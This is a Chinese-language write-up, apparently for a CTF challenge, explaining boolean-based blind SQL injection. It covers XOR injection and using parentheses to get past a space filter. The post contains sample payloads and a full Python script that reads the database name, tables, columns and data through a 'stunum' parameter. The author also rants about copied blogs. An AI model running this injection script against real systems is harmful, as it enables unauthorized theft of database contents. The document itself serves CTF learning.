经过测试,我们可以发现输入一到4都是有回显的,虽然后面几个是乱码,比如名字和分数怪怪的。但是还是有固定英文的,比如Hi
,your score is:
后面的测试就很明显了,输入其他字符报错,无报错回显,摆明了布尔注入。所以我们需要构造一个验证正确与否的语句,用于判断字母,这里先介绍一下异或注入
异或注入,是在 SQL 注入中,利用 Mysql 对异或逻辑的处理特性,帮助进行 SQL 注入的利用,作用包括但不限于绕过敏感词过滤、判断过滤内容和直接进行盲注利用。
在 Mysql 中,异或操作的两个关键词是 “xor” 和’^’,xor 是逻辑上的异或操作,对前后两个逻辑真假进行异或,结果只为 0 或 1
在这个输入框输入0返回不存在,输入1正常回显,所以我们可以构造一条判断语句,例如,假设第一个字母为a,正确返回1,错误返回0,将这个语句输入,通过题目回显就可判断这个假设是否成立。比如输入1^表达式^1
,若表达式为真,此异或表达式也为真,正常回显,若此表达式为假则异或表达式也为假,返回异常。这个表达式就可以用于判断字母。如下语句:
1^if((ascii(substr(database(), 1, 1)) > 50),1,0)^1
这个用于判断数据库第一个字母ascii编码是否大于50,大于则返回1,否则返回0
看着非常巧妙是不是?但我不用
为什么呢?为什么呢?为什么呢?
因为这些SB博客就知道互抄,全篇复制写原创的有,错误脚本瞎转载的有,直接复制脚本到自己博客却不改注释里作者姓名的也有。每篇原创都会提示有版权的吧,有几个申请授权了?你一个博客写错了没事,最恶心的就是那些SB眼瞎通篇转载的,直接影响一大片。不只局限于此题,其他题、其他领域也类似,百度前几页文章都一样的,单词错的也都一样。我这种小博客还没啥,那种高浏览量的文章背后不知道有多少一模一样的“原创文章”。
这句话明明可以精简,1^表达式^1
跟表达式
真实性一致的呀,为啥复杂化?画蛇添足!还有那个if语句,python里if的确可以这样用if(表达式,值1,值2)
,表达式成立返回值1,不成立返回值2,其实就是python里的三目运算符。但这题根本不需要,A>B成立返回1,不成立返回0,根本用不着if,只不过这题在输入框里要包起来,如:(A>B)
注意这题过滤了空格,括号绕过可以,省略符号绕过也可以
下面直接放一个自动化脚本,直接python3运行,然后输入url等着就好了。使用二分法判断字符,设置了请求延迟否则太快的请求会出错。如果在你那无法运行可能是没有time、requests模块,安装就好,跑不出把sleep值改大点,再不出来找我,我的脚本终身保修
import time
import requests
Success_message = "Hi"
def database_name():
db_name = ''
for i in range(1, 10):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
payload = url + "?stunum=(ascii(substr(database(), %d, 1)) > %d)" % (i, mid)
res = requests.get(payload)
if Success_message in res.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if mid == 32:
print()
break
db_name += chr(mid)
print("数据库名: " + db_name)
return db_name
def table_name():
name = ''
for j in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
payload = url + '?stunum=(ascii(substr((select(group_concat(table_name))from(' \
'information_schema.tables)where(table_schema=database())), %d, 1)) > %d)' % (j, mid)
time.sleep(0.2)
res = requests.get(payload)
if Success_message in res.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if mid == 32:
print()
break
name += chr(mid)
print("表名: " + name)
table_list = name.split(",")
for tab_name in table_list:
column_name(tab_name)
def column_name(tab_name):
name = ''
for j in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
payload = url + '?stunum=(ascii(substr((select(group_concat(column_name))from(' \
'information_schema.columns)where(table_name="%s")and(table_schema=database())), %d, ' \
'1)) > %d)' % (tab_name, j, mid)
time.sleep(0.2)
res = requests.get(payload)
if Success_message in res.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if mid == 32:
print()
break
name += chr(mid)
print(("%s表的字段名: " + name) % tab_name)
column_list = name.split(",")
for col_name in column_list:
get_data(tab_name, col_name)
def get_data(tab_name, col_name):
data = ''
for i in range(1, 100):
begin = 32
end = 126
mid = (begin + end) // 2
while begin < end:
payload = url + '?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)' % (
col_name, tab_name, i, mid)
time.sleep(0.2)
res = requests.get(payload)
if Success_message in res.text:
begin = mid + 1
else:
end = mid
mid = (begin + end) // 2
if mid == 32:
print()
break
data += chr(mid)
print(("%s表的%s字段数据: " + data) % (tab_name, col_name))
if __name__ == '__main__':
url = input("请输入url:")
database_name()
table_name()